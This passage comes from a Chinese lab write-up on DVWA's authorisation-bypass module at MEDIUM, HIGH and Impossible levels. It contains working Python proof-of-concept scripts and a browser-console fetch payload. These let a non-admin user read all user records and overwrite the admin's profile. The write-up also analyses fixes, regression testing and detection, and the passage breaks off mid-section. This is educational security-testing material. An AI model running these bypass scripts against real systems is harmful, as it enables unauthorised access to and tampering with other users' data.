"""访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
html = self._get(path).text
m = self.TOKEN_RE.search(html)
return m.group(1) if m else None
def _is_login_page(self, html):
return bool(re.search(r"name=['\"]username['\"]", html))
# ---------------- 前置步骤 ----------------
def login(self):
"""两步登录:先取登录页 token,再携带 token 提交账号密码。"""
data = {"username": self.username, "password": self.password,
"Login": "Login"}
token = self._fetch_token("/login.php")
if token:
data["user_token"] = token
self._post("/login.php", data)
html = self._get("/index.php").text
if self._is_login_page(html):
raise RuntimeError("登录失败:请检查用户名/密码或目标地址")
def set_security(self, level):
"""通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
data = {"security": level, "seclev_submit": "Submit"}
token = self._fetch_token("/security.php")
if token:
data["user_token"] = token
self._post("/security.php", data)
current = self.http.cookies.get("security")
if current != level:
raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")
# ---------------- 漏洞接口封装 ----------------
def get_user_data(self):
"""GET 功能文件1:全量用户数据(JSON)。"""
return self._get("/vulnerabilities/authbypass/get_user_data.php")
def change_user_details(self, user_id, first_name, surname):
"""POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
return self._post(
"/vulnerabilities/authbypass/change_user_details.php",
json={"id": user_id, "first_name": first_name, "surname": surname})
def run(base_url, username, password):
print("[*] 目标地址:", base_url)
print("[*] 测试账号(非 admin):", username)
print("-" * 60)
# ① 登录并设置安全等级
dvwa = DVWASession(base_url, username, password)
print("[*] 步骤1: 登录 DVWA(普通用户) ...")
dvwa.login()
print("[+] 登录成功")
print("[*] 步骤2: 通过官方接口设置安全等级 medium ...")
dvwa.set_security("medium")
print("[+] 安全等级已设为 medium(Cookie 校验通过)")
print("-" * 60)
# ② 主页面基线:medium 下入口拦截生效
print("[*] 步骤3: 访问主页面,验证入口授权检查 ...")
r = dvwa._get("/vulnerabilities/authbypass/")
if r.status_code == 403 and "Unauthorised" in r.text:
print(f"[+] 入口检查已生效:HTTP {r.status_code},响应体: {r.text.strip()!r}")
print(" (页面入口对非 admin 用户明确拒绝)")
else:
print(f"[-] 主页面响应异常:HTTP {r.status_code},结果需人工复核")
print("-" * 60)
# ③ 读通道绕过:get_user_data.php 仍无检查
print("[*] 步骤4: 直接 GET 功能文件 get_user_data.php(绕过入口) ...")
r = dvwa.get_user_data()
users = []
try:
users = json.loads(r.text)
except json.JSONDecodeError:
pass
if r.status_code == 200 and users:
print(f"[+] 读通道绕过成功(HTTP {r.status_code}),"
f"入口检查被完全旁路,读到 {len(users)} 条用户记录:")
for u in users:
print(f" user_id={u['user_id']:>2} {u['first_name']} {u['surname']}")
else:
print(f"[-] 读通道未绕过:HTTP {r.status_code},响应: {r.text[:80]}")
print("-" * 60)
# ④ 写通道绕过:改写 admin
print("[*] 步骤5: JSON POST 改写 user_id=1(admin)admin → PwnedAdmin ...")
r = dvwa.change_user_details(1, "admin", "PwnedAdmin")
print(f" 服务端返回: {r.text.strip()}")
after = json.loads(dvwa.get_user_data().text)
row1 = next((u for u in after if u["user_id"] == "1"), {})
if r.json().get("result") == "ok" and row1.get("surname") == "PwnedAdmin":
print("[+] 写通道绕过成功:普通用户改写了 admin 的资料并读回确认!")
else:
print("[-] 写入未生效,结果需人工复核")
# ⑤ 还原现场
print("[*] 步骤6: 还原现场(admin → admin) ...")
dvwa.change_user_details(1, "admin", "admin")
after = json.loads(dvwa.get_user_data().text)
ok = "PwnedAdmin" not in json.dumps(after)
print("[+] 现场已还原" if ok else "[-] 还原失败,请手动检查 users 表")
print("-" * 60)
# ⑥ 结论
print("[*] 结论:")
print(" MEDIUM 级别的授权检查只存在于主页面入口,")
print(" 功能文件对普通用户依旧全开放------读全量数据、改 admin 资料均成立,")
print(" 入口检查可被直接访问功能文件的方式完整绕过。")
def main():
parser = argparse.ArgumentParser(
description="DVWA Authorisation Bypass MEDIUM 级别 PoC(仅供授权靶场使用)")
parser.add_argument("-t", "--target", default="http://dvwa.cc",
help="DVWA 根地址(默认 http://dvwa.cc)")
parser.add_argument("-u", "--user", default="gordonb",
help="登录用户名(需非 admin,默认 gordonb)")
parser.add_argument("-p", "--password", default="abc123",
help="登录密码(默认 abc123)")
args = parser.parse_args()
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("=" * 60)
try:
run(args.target, args.user, args.password)
except requests.RequestException as e:
print(f"[-] 网络请求失败: {e}")
sys.exit(1)
except RuntimeError as e:
print(f"[-] {e}")
sys.exit(1)
if __name__ == "__main__":
main()
脚本说明
(1)总体思路。 本脚本采用"先证拦截,再证绕过 "的对照式验证法:步骤3 先访问主页面拿到 403 + Unauthorised,确立"MEDIUM 的入口检查确实存在"这一基线;随后步骤4/5 直接打两条功能通路,用"同一会话、同一时刻、入口被拦但功能全通"的强反差证明绕过成立。写通道验证延续"写入必核验、核验完还原"的安全护栏。
(2)功能模块划分。
| 功能模块 | 说明 |
|---|---|
DVWASession 类 |
与 LOW 完全复用的会话封装(登录 / 设级 / token 自适应) |
| 主页面基线探测 | 步骤3 的 403 判定,确保目标确实处于 MEDIUM(环境预检,防止在 LOW 级别上跑出"假 403 缺失"的误报) |
| 读/写通道封装 | get_user_data() / change_user_details(),与 LOW 相同 |
主流程 run() |
登录 → 设级 → 入口基线 → 读绕过 → 写绕过(改 admin)→ 还原 → 结论 |
说明:与 LOW 脚本相比没有新增任何攻击代码 ------MEDIUM 的绕过动作与 LOW 完全一样,新增的只是"入口拦截"这半场对照组。这本身就说明问题:入口检查的升级没有给攻击者增加任何成本。
(3)逐步逻辑讲解。
首先,登录设级与入口基线。 步骤3 访问主页面并要求"HTTP 403 且响应体含 Unauthorised"双条件同时成立------若目标其实停在 LOW,这里会得到 200,脚本据此提示环境复核,避免把 LOW 的"无检查"误读成 MEDIUM 的结论。
其次,读通道差分。 步骤4 的 GET 在入口被拦的同一会话里发出:同一 PHPSESSID、同一 security Cookie,入口与功能文件的区别因此被干净隔离------唯一变量就是"请求打到了页面还是文件"。
最后,写通道与核验还原。 步骤5 改写 admin 并读回比对,确认落库后立即还原。判据链与 LOW 一致(result=ok → 读回 surname==PwnedAdmin → 还原后关键字清零)。
(4)验证判定逻辑。 MEDIUM 的服务端行为可以概括为"检查了渲染入口,没检查数据入口"。脚本用一次会话内的 403→200 反差与"写入落库"两个确定性事实,把"入口检查形同虚设"从主观印象变成可复现证据:403 证明检查存在,200+落库证明检查无效------两者缺一不可。
6、AI视角下的授权绕过检测
(1)功能级访问控制的智能检测:从"找页面"到"建清单"
MEDIUM 级别的教训是:入口检查制造了"已加固"的假象。对 AI 自动化审计而言,破除假象的方法是把审计对象从"页面清单"切换为"功能清单":
| 审计维度 | 传统扫描器 | AI 自动化检测 |
|---|---|---|
| 审计单位 | 页面(URL) | 功能(页面 + JS 提取的端点) |
| 权限模型 | 无 / 单角色爬取 | 双角色差分矩阵 |
| 检查覆盖判断 | 页面 403 即认为"有防护" | 逐端点判定"入口检查是否覆盖该功能" |
| 报告口径 | "存在登录墙" | "入口检查覆盖 1/3 端点,2 个功能端点未受保护" |
具体实现上,AI 需要完成三步:功能清单构建 (如 2.6 节的 JS 请求发射点分析,产出 {主页面, get_user_data.php, change_user_details.php} 三个条目);权限映射 (对每个条目标注"期望角色 = admin"------期望来自语义理解:'user manager' 界面文案、'This page should only be accessible by the admin user' 的页面声明都是线索);覆盖判定 (用 gordonb 会话逐一访问,主页面 403 而其余 200 → 覆盖率 1/3 → 判定"检查与功能分离"反模式)。本文 recon_authbypass.py 双 PHASE 的矩阵输出正是这一判定的原始数据。
(2)"半拉子检查"的模式识别
AI 在大量真实系统中会反复遇到同一形态:框架级/入口级中间件做了认证与粗粒度授权,而各业务端点各自裸奔 。识别这个反模式的信号组合在本模块全部出现:入口 403 干净利落(12 字节,说明写检查的人有安全意识);注释里点名两个文件(Have a look at these two files,说明作者自己都知道功能文件的存在);功能端点响应与低级别逐字节一致(说明升级时只动了入口文件)。AI 把这些信号组合成"入口有墙、功能无门 "的结构化判定,比单点扫描的"有/无漏洞"结论更能指导修复------它直接指出该把检查补到哪里(两个功能文件),而不是笼统地说"授权有问题"。
(3)AI 辅助的回归对抗
升级到 MEDIUM 后,一个常见误区是"复测主页 403 通过 = 修复完成"。AI 自动化检测的回归用例应当覆盖全部功能端点 × 全部角色 :本文 PoC 的步骤3/4/5 就是三个回归用例------入口拦截用例(期望 403)、读通道用例(期望被拦,实测 200 → 回归失败)、写通道用例(期望被拦,实测 ok + 落库 → 回归失败)。2/3 失败的"修复",AI 会如实报告为无效修复并给出失败用例明细,这正是自动化回归在授权治理里的核心价值。
7、MEDIUM级别------小结
MEDIUM 级别的授权检查只存在于主页面入口:
- 非 admin 访问主页面被 403 拦截,检查干净利落
- 但两个功能文件与 LOW 逐字节一致,检查覆盖率 1/3
- 读全量数据、改写 admin 资料均可完整绕过
一句话总结:MEDIUM 级别装了一扇结实的门,却没封两扇敞开的窗------对直接访问功能文件的攻击者来说,这扇门只是装饰。
四、HIGH 级别 ------ 半修复:读通道已封,写通道未防
1、漏洞描述
HIGH 级别是一次不彻底的修复:
核心机制:
- 主页面入口检查保留(
source/high.php与 medium 同款,非 admin → 403) get_user_data.php新增检查:high/impossible 级别下仅 admin 可读 ,其他用户拿到Access denied------读通道被封change_user_details.php的身份检查没有随之加入(要到 Impossible 才加),HIGH 下任何登录用户仍可 JSON POST 改写任意用户------写通道完全敞开
核心问题 :形成"读被拦、写放行 "的不对称防线。普通用户虽然看不到数据,依然能改数据------看不见但改得动,攻击从"窃密"变成"破坏",危害的严重程度并没有下降。
2、查看网页源代码
php
<?php
/*
Only the admin user is allowed to access this page.
Have a look at this file for possible vulnerabilities:
* vulnerabilities/authbypass/change_user_details.php
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>
3、分析网页源代码
(1)代码概述
| 组件 | HIGH 下的行为 | 与 MEDIUM 的差异 |
|---|---|---|
| 主页面 | 非 admin → 403 | 无差异 |
get_user_data.php |
非 admin → Access denied(41 字节 JSON) |
✅ 读通道已封 |
change_user_details.php |
非 admin 仍可 JSON POST 改任意用户 | ❌ 写通道仍敞开 |
(2)漏洞分析
① 漏洞一 ------ 写通道无鉴权(本级别核心):
change_user_details.php 的身份检查条件只含 impossible,HIGH 下 gordonb 的 JSON POST 照样返回 {"result":"ok"}。实测改写 admin 资料成功。
② 漏洞二 ------ "盲写"放大了破坏潜力:
由于读通道同时被封,gordonb 改完数据无法自查结果 ------但这不影响破坏本身。更糟的是:普通用户可以对着全表"盲改"(id 从 1 遍历到 N),把所有人的资料搅乱,而数据被改的用户毫无感知渠道。机密性修好了,完整性还在裸奔。
③ 漏洞三 ------ 验证可见性不一致(防御者视角):
admin 与普通用户看到的 change_user_details.php 行为完全一致(admin: 59 字节 GET 响应;gordonb: 同样 59 字节),差别只在写请求的结果里------没有对普通用户的写请求做任何区分标记(无 403、无告警字段),日志层面也难以察觉。
4、操作步骤
⚠️ 踩坑 7:读被拦 ≠ 写也被拦。 在 HIGH 下测试,看到
get_user_data.php返回Access denied,很容易顺手认为"这级别修好了"。两个功能文件的检查是独立加的 ,必须逐个测。笔者实测 HIGH 下写通道返回{"result":"ok"}与 LOW/MEDIUM 完全一样。⚠️ 踩坑 8(最隐蔽):盲写后无法用 gordonb 自己读回验证。 读通道被封后,gordonb 写入成功与否无法从自己的会话确认 ------
get_user_data.php只会给Access denied。如果脚本在 HIGH 下沿用 LOW 的"写入后自己读回核验"逻辑,核验必然失败,会把成功的越权误判为失败。必须另开 admin 会话做交叉验证 (第二证据源)。这是本次实测中笔者踩的最深的一个坑:第一轮 HIGH 测试的写入其实全部落库了,但因为读不回来,还原逻辑没有触发,导致靶场残留了Pwn3d/PwnedAdmin脏数据,直到用 admin 会话复查才发现------这个教训直接写进了 PoC 的设计里。
(1)观察 HIGH 下的拦截面(普通用户视角)
- 用
gordonb / abc123登录,将安全级别设置为 High - 访问
http://dvwa.cc/vulnerabilities/authbypass/→ 预期Unauthorised(403) - 地址栏直接访问
http://dvwa.cc/vulnerabilities/authbypass/get_user_data.php→ 预期{"result":"fail","error":"Access denied"}
预期结果:主页面与读通道都被拦住,看起来"防护升级了"。
(2)测试写通道(被忽略的半边)
- F12 Console 执行(注意此时返回的是 ok):
javascript
fetch('/vulnerabilities/authbypass/change_user_details.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({id: 2, first_name: 'Gordon', surname: 'HighPwned'})
}).then(r => r.json()).then(console.log)
// 实测返回 {result: "ok"} ------ 写通道没有任何拦截
(3)交叉验证盲写落库(关键步骤)
- gordonb 的会话读不回数据,另开一个浏览器窗口(或无痕窗口)用 admin/password 登录,把安全级别设为 Low(保证读通道可用)
- admin 访问
get_user_data.php,观察user_id=2
预期结果:admin 读回的数据里 Gordon 的 surname 已是 HighPwned------盲写真实落库 。验证完用 gordonb 会话把 surname 改回 Brown,再用 admin 会话复核还原成功。
为什么"读不到"反而更危险 :正常用户改资料,改完立刻能在界面上看到结果;攻击者盲写后系统没有任何异常反馈,数据库悄悄变了,而每个能看到数据的人都以为它一直是这个值。对防御者的启示是:完整性破坏往往缺少"告警瞬间",必须靠变更审计日志而非用户报障来发现。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA Authorisation Bypass ------ HIGH 级别 PoC(读通道已封,写通道未防)
--------------------------------------------------------------------
漏洞原理:
HIGH 级别是一次"半修复":
① 主页面入口检查保留(非 admin → 403 Unauthorised);
② get_user_data.php 新增检查:high/impossible 下仅 admin 可读,
"Access denied"------读通道被封;
③ 但 change_user_details.php 的身份检查要到 impossible 才加入,
HIGH 下任何登录用户仍可 JSON POST 改写任意用户的资料------
写通道完全敞开。
于是形成"读被拦、写放行"的不对称防线:普通用户虽然看不到数据,
依然能改数据(包括 admin 的资料),甚至构成"盲写"------
看不见但改得动,危害不减反增(破坏完整性)。
验证方法(双会话交叉验证):
① 以非 admin 用户 gordonb/abc123 登录,把安全等级设为 high;
② 验证主页面 403、get_user_data 返回 Access denied(确认读通道已封);
③ JSON POST 改写 gordonb 自己的资料 → 服务端返回 result=ok(盲写成功);
④ 由于 gordonb 的读通道被封,无法自查是否落库------
脚本另开 admin 会话(第二证据源)读回核验 HighPwned 是否真实写入;
⑤ 核验通过后用 gordonb 会话还原,再用 admin 会话复核还原结果。
使用方法:
python poc_authbypass_high.py -t http://dvwa.cc [-u gordonb] [-p abc123] \
[--admin-user admin] [--admin-password password]
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import argparse
import json
import re
import sys
import requests
class DVWASession:
"""DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""
TOKEN_RE = re.compile(
r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.http = requests.Session()
self.http.headers.update(
{"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})
# ---------------- 内部工具 ----------------
def _get(self, path, **kw):
return self.http.get(self.base_url + path, timeout=10, **kw)
def _post(self, path, data=None, **kw):
return self.http.post(self.base_url + path, data=data, timeout=10, **kw)
def _fetch_token(self, path):
"""访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
html = self._get(path).text
m = self.TOKEN_RE.search(html)
return m.group(1) if m else None
def _is_login_page(self, html):
return bool(re.search(r"name=['\"]username['\"]", html))
# ---------------- 前置步骤 ----------------
def login(self):
"""两步登录:先取登录页 token,再携带 token 提交账号密码。"""
data = {"username": self.username, "password": self.password,
"Login": "Login"}
token = self._fetch_token("/login.php")
if token:
data["user_token"] = token
self._post("/login.php", data)
html = self._get("/index.php").text
if self._is_login_page(html):
raise RuntimeError("登录失败:请检查用户名/密码或目标地址")
def set_security(self, level):
"""通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
data = {"security": level, "seclev_submit": "Submit"}
token = self._fetch_token("/security.php")
if token:
data["user_token"] = token
self._post("/security.php", data)
current = self.http.cookies.get("security")
if current != level:
raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")
# ---------------- 漏洞接口封装 ----------------
def get_user_data(self):
"""GET 功能文件1:全量用户数据(JSON)。"""
return self._get("/vulnerabilities/authbypass/get_user_data.php")
def change_user_details(self, user_id, first_name, surname):
"""POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
return self._post(
"/vulnerabilities/authbypass/change_user_details.php",
json={"id": user_id, "first_name": first_name, "surname": surname})
def run(base_url, username, password, admin_user, admin_password):
print("[*] 目标地址:", base_url)
print("[*] 测试账号(非 admin):", username)
print("-" * 60)
# ① 登录并设置安全等级
dvwa = DVWASession(base_url, username, password)
print("[*] 步骤1: 登录 DVWA(普通用户) ...")
dvwa.login()
print("[+] 登录成功")
print("[*] 步骤2: 通过官方接口设置安全等级 high ...")
dvwa.set_security("high")
print("[+] 安全等级已设为 high(Cookie 校验通过)")
print("-" * 60)
# ② 主页面 + 读通道基线
print("[*] 步骤3: 验证主页面与读通道的拦截情况 ...")
r = dvwa._get("/vulnerabilities/authbypass/")
if r.status_code == 403 and "Unauthorised" in r.text:
print(f"[+] 主页面入口检查生效:HTTP {r.status_code} {r.text.strip()!r}")
r = dvwa.get_user_data()
if "Access denied" in r.text:
print(f"[+] 读通道已封:get_user_data 返回 {r.text.strip()!r}(HTTP {r.status_code})")
else:
print(f"[!] 读通道响应异常: {r.text[:80]}(结果需人工复核)")
print("-" * 60)
# ③ 写通道盲写:gordonb 改自己
print("[*] 步骤4: JSON POST 盲写 user_id=2(gordonb 自己)Brown → HighPwned ...")
r = dvwa.change_user_details(2, "Gordon", "HighPwned")
print(f" 服务端返回: {r.text.strip()}")
try:
write_ok = r.json().get("result") == "ok"
except json.JSONDecodeError:
write_ok = False
if write_ok:
print("[+] 写通道绕过成功:读被拦、写放行,服务端接受了普通用户的写入请求")
print(" (gordonb 的读通道已被封,是否真正落库需要第二证据源确认)")
else:
print("[-] 盲写失败,结果需人工复核")
print("-" * 60)
# ④ admin 第二会话交叉验证
print("[*] 步骤5: 另开 admin 会话,交叉核验盲写是否真实落库 ...")
admin = DVWASession(base_url, admin_user, admin_password)
admin.login()
admin.set_security("low") # admin 自己的级别独立,用 low 保证可读
users = json.loads(admin.get_user_data().text)
row2 = next((u for u in users if u["user_id"] == "2"), {})
if row2.get("surname") == "HighPwned":
print("[+] 交叉验证通过:admin 读回的数据中 Gordon 已变为 HighPwned")
print(" ------ HIGH 级别的写入越权真实成立(完整性被破坏)")
else:
print(f"[-] 交叉验证失败,读回: {row2}")
print("-" * 60)
# ⑤ 还原现场 + 复核
print("[*] 步骤6: 还原现场(gordonb 写回 Brown,admin 读回复核) ...")
dvwa.change_user_details(2, "Gordon", "Brown")
users = json.loads(admin.get_user_data().text)
row2 = next((u for u in users if u["user_id"] == "2"), {})
if row2.get("surname") == "Brown":
print("[+] 现场已还原(Gordon Brown)")
else:
print(f"[-] 还原失败,请手动检查 users 表:{row2}")
print("-" * 60)
# ⑥ 结论
print("[*] 结论:")
print(" HIGH 级别封住了主页入口与数据读通道,但写通道(change_user_details)")
print(" 仍未做身份检查------普通用户虽读不到数据,依然能改写任意用户资料,")
print(" 构成'盲写'式越权。半修复 ≠ 修复,授权检查必须覆盖每个功能文件。")
def main():
parser = argparse.ArgumentParser(
description="DVWA Authorisation Bypass HIGH 级别 PoC(仅供授权靶场使用)")
parser.add_argument("-t", "--target", default="http://dvwa.cc",
help="DVWA 根地址(默认 http://dvwa.cc)")
parser.add_argument("-u", "--user", default="gordonb",
help="登录用户名(需非 admin,默认 gordonb)")
parser.add_argument("-p", "--password", default="abc123",
help="登录密码(默认 abc123)")
parser.add_argument("--admin-user", default="admin",
help="交叉验证用的管理员账号(默认 admin)")
parser.add_argument("--admin-password", default="password",
help="交叉验证用的管理员密码(默认 password)")
args = parser.parse_args()
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("=" * 60)
try:
run(args.target, args.user, args.password,
args.admin_user, args.admin_password)
except requests.RequestException as e:
print(f"[-] 网络请求失败: {e}")
sys.exit(1)
except RuntimeError as e:
print(f"[-] {e}")
sys.exit(1)
if __name__ == "__main__":
main()
脚本说明
(1)总体思路。 本脚本采用"拦截面确认 → 盲写尝试 → 第二证据源交叉核验 → 还原复核 "四段式验证法:先确认 HIGH 的主页面 403 与读通道 Access denied(把"半修复"的已修半边钉死),再对写通道发起 JSON POST 盲写,关键是另开 admin 会话读回落库验证------因为 gordonb 自己的读通道已封,"写没写进去"必须由第二会话作证。这是本脚本与前两级别最大的结构差异。
(2)功能模块划分。
| 功能模块 | 说明 |
|---|---|
DVWASession 类 |
与前两级别完全复用 |
| 拦截面探测 | 主页面 403 判定 + 读通道 Access denied 判定(环境预检) |
| 盲写请求 | change_user_details(),代码与 LOW 相同------写通道从未变过 |
| admin 第二会话 | 新增模块:独立登录、独立设级(设为 low 保证可读)、读回数据比对 |
| 还原复核 | gordonb 写回原值 + admin 再次读回确认,双签收尾 |
说明:admin.set_security("low") 这一行值得展开------DVWA 的安全级别 Cookie 是会话级的,gordonb 会话设为 high 不影响 admin 会话自设 low,两个会话的"观察窗口"互不干扰。这个特性既是靶场的简化,也恰是交叉验证得以实现的机制基础。
(3)逐步逻辑讲解。
首先,拦截面确认。 步骤3 用两条独立判据确认环境:主页 403+Unauthorised、读通道 Access denied。若读通道没有返回 Access denied(比如目标实际在 medium),脚本会输出"响应异常,需人工复核",防止把 medium 的"可读可写"误判成 high 的"盲写"。
其次,盲写与不确定性标记。 步骤4 拿到 result=ok 后,脚本不直接宣布漏洞成立,而是明确打印"是否真正落库需要第二证据源确认"------把验证的不确定性显式暴露出来,这是与 LOW/MEDIUM 脚本在输出语义上的关键差异。
最后,交叉核验与双签还原。 步骤5 admin 会话读回比对 surname == "HighPwned",步骤6 gordonb 写回 Brown 后由 admin 再次读回确认。两次读回使用同一个 admin 会话,保证前后证据链一致。
(4)验证判定逻辑。 HIGH 的验证难点在于证据链断在中间 :攻击者视角只剩写通道的 result=ok,它只能证明"请求被接受",不能证明"数据被修改"(理论上有可能 ok 之后事务失败)。脚本用 admin 会话补上断点,构成完整的"请求 → 接受 → 落库 → 可读"四环证据链。凡是无法自证的写入型漏洞( blind SQLi、盲 XSS 同理),都需要这类"外部证据源"设计------HIGH 级别的 authbypass 恰好是教学这个设计范式的最佳样本。
6、AI视角下的授权绕过检测
(1)不对称防线的自动发现:CRUD 维度的拆分探测
HIGH 级别的核心特征是同一资源的读与写防护不对称 。AI 自动化检测的对应做法是把每个端点按 CRUD 语义拆分探测,而不是把"功能文件"当作原子单位:
| 探测动作 | 端点 | admin 结果 | gordonb 结果 | 自动判定 |
|---|---|---|---|---|
| READ | get_user_data.php | 200 / 273 B 全量 | 200 / 41 B Access denied |
读有鉴权 ✅ |
| UPDATE | change_user_details.php (JSON POST) | {"result":"ok"} |
{"result":"ok"} |
写无鉴权 ❌ |
判据来自同端点跨角色的响应差分 :读通道差分明显(数据 vs 错误消息),写通道差分为零。AI 将零差分的写通道标记为"UPDATE 未授权",并进一步做同值写探测 (把数据写回原值,如 {"id":2,"first_name":"Gordon","surname":"Brown"})来区分"检查存在但放行"与"检查不存在"------本例中 gordonb 拿到 ok 而 impossbile 下拿到 Access denied,可确定检查点根本不在 HIGH 的写通路上。
(2)盲写场景下的证据链编排
对 AI 而言,HIGH 级别最大的方法论挑战是验证闭环在攻击者会话内断裂。自动化检测系统需要掌握"多会话证据编排"能力,本文 PoC 的设计可直接推广:
- 主体会话 (gordonb):执行盲写,采集第一手证据
result=ok - 验证会话(admin):独立设级、读回目标数据,采集落库证据
- 证据融合 :
ok与落库两个证据都存在才输出"漏洞成立",只有ok时输出"疑似,待核验"
这种编排的关键工程细节有三个:会话隔离 (两个独立 Session 对象,Cookie 互不污染);验证会话的观测位选择 (admin 设为 low 以获得读通道,等价于"给探测器找一个视野最好的制高点");时间窗控制 (写与读之间不插入其他变更操作,保证读回的数据只能来自本次写入------本靶场单用户环境下天然满足,真实系统需配合时间戳或唯一标记值,例如写入 HighPwned-<随机后缀> 使证据可归因)。第三点在真实系统里是盲写验证的标准做法:写入一个含随机标识的值,谁能读回这个标识,谁就是证据链的下游。
(3)半修复的回归测试模式
HIGH 是"修复了一半"的典型样本,AI 的回归测试应该产出修复完备度评分而不是通过/失败二值结论。以本模块为例,对"修复目标:非 admin 不能读写用户数据":
修复完备度 = 已防护通路 / 应防护通路
READ (get_user_data) : 拦截 ✅ (1/2)
UPDATE (change_user_details) : 放行 ❌ (1/2)
完备度 = 1/2 → 结论:半修复,剩余风险=完整性破坏(含 admin 资料被改)
这与官方源码的注释措辞("Have a look at this file"单数)互相印证。AI 把"完备度 + 剩余通路 + 风险类型"打包输出,修复团队可以据此精确补第二个检查点,而不是从头排查。
(4)行为遥测视角:盲写的可检测性
从防御侧看,盲写留下一类独特遥测:同一会话先被读通道拒绝(Access denied),紧接着对写通道发起请求 ------"先撞墙再敲门"是自动化攻击的强特征。AI 检测引擎把"端点级拒绝"与"相邻写请求"做时序关联,即可对盲写行为实时告警;单纯看写请求本身反而毫无异常(格式合法、参数合规、返回 ok)。这个视角也解释了为什么传统 WAF 对本漏洞几乎无感------每一个请求单独看都是合法的,恶意性只存在于序列与授权上下文里。
7、HIGH级别------小结
HIGH 级别是一次不彻底的修复:
- 主页面与读通道(get_user_data)均已正确拦截普通用户
- 写通道(change_user_details)的检查要 impossible 才加入,HIGH 下完全敞开
- 普通用户构成"盲写":看不到数据,但能改任何人的资料(含 admin)
- 修复完备度 2/3,剩余风险从机密性转为完整性
一句话总结:HIGH 级别证明"半修复"比"没修"更有迷惑性------拦截面给防御者安全感,敞开的写通道却把攻击从偷看升级成了暗中篡改。
五、Impossible 级别 ------ 功能级授权检查的范本
1、现象观察:六项守卫全通过(双账号实测)
Impossible 没有 PoC,但有一张守卫对照表 。本文 verify_impossible.py(随附脚本)以 gordonb / admin 双会话对三条通路逐一探测,实测结果:
| 通路 | gordonb(普通用户) | admin | 判定 |
|---|---|---|---|
| 主页面 | 403 Unauthorised |
200 正常渲染 | ✅ 拦截/放行都正确 |
| 读通道 get_user_data.php | {"result":"fail","error":"Access denied"} |
200 全量 JSON | ✅ |
| 写通道 change_user_details.php | {"result":"fail","error":"Access denied"} |
{"result":"ok"} |
✅ |
六项守卫(三个通路 × 拦截/放行两个方向)全部符合预期 ,脚本输出 [PASS] × 6。与 HIGH 最大的区别一眼可见:HIGH 下 gordonb 的写通道拿到的是 ok,Impossible 下拿到的是 Access denied------写通道的检查点确实存在并且生效。
2、源码取证:检查点"下沉"到每个功能文件
(1)三道防线的源码布局
防线一:主页面入口检查 (source/impossible.php,部署版实测取证):
php
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
防线二:读通道检查 (get_user_data.php,条件含 impossible,且 impossible 下输出额外净化):
php
if ((dvwaSecurityLevelGet() == "high" || dvwaSecurityLevelGet() == "impossible")
&& dvwaCurrentUser() != "admin") {
print json_encode (array ("result" => "fail", "error" => "Access denied"));
exit;
}
// impossible 下输出额外做 HTML 转义
if( dvwaSecurityLevelGet() == 'impossible' ) {
$first_name = htmlspecialchars( $row[1] );
...
}
防线三:写通道检查 (change_user_details.php,仅 impossible 有------但 impossible 级别下它生效):
php
if (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") {
print json_encode (array ("result" => "fail", "error" => "Access denied"));
exit;
}
(2)与 LOW 的结构性对比
LOW 的所有通路都没有检查;Impossible 的检查出现在每一个会触碰数据的文件里。同一个功能,三种实现姿态:
| 姿态 | 说明 | 对应级别 |
|---|---|---|
| 不检查 | 功能裸奔 | LOW |
| 只在入口检查 | 页面有墙,功能无门 | MEDIUM(部分 HIGH) |
| 每个功能文件独立检查 | 检查与功能绑定,缺一不可 | Impossible |
3、安全分析:为什么它是满分答案
首先,检查点与功能点重合,绕过在结构上不可能。 攻击者无论从哪个入口进来------主页面、直接访问文件、甚至伪造前端请求------最终都必须经过功能文件里的那道 if。没有"绕过入口直奔功能"的旁路可走,因为功能自己就是入口。
其次,检查条件覆盖了所有危险级别组合。 读通道 high || impossible、写通道 impossible,每个级别下每条通路的行为都唯一确定,不存在 HIGH 那样的条件夹缝。
然后,拒绝方式工程上正确。 三处检查返回的都是正确的语义 :主页面用 403 + Unauthorised(页面语义),API 用 JSON Access denied(接口语义)------状态码与内容类型跟端点性质匹配,而不是一律 200 里塞一句错误文案。
最后,Impossible 还顺带修了输出与输入。 读通道在 impossible 下对输出做 htmlspecialchars,防止存储型内容二次污染前端。(值得注意的是:写通道的 SQL 拼接问题在源码里依然存在,说明 DVWA 作者认为"SQL 注入"属于 SQLi 模块的教学范畴,本模块的 Impossible 只负责"授权"这一件事------单一职责的教学设计。)
4、AI 视角:守卫矩阵的自动验证
Impossible 没有 PoC,但 AI 在这个级别上反而有一件标准化的事情可做:守卫完整性验证 ------把"安全"从一句评语变成一组可执行断言。本文 verify_impossible.py 演示了这套方法:
(1)断言式审计
把安全需求翻译成六条断言(三通路 × 两方向),脚本逐一执行并输出 [PASS]/[FAIL]:
[PASS] 主页面拦截普通用户
[PASS] 读通道拒绝普通用户
[PASS] 写通道拒绝普通用户
[PASS] 主页面允许 admin
[PASS] 读通道允许 admin
[PASS] 写通道允许 admin
双向断言缺一不可:只测"普通用户被拦"不测"admin 能用",就无法发现"检查条件写反、把所有人(含 admin)都挡在门外"的过杀型 bug------过杀和漏放都是授权故障。
(2)无副作用探测设计
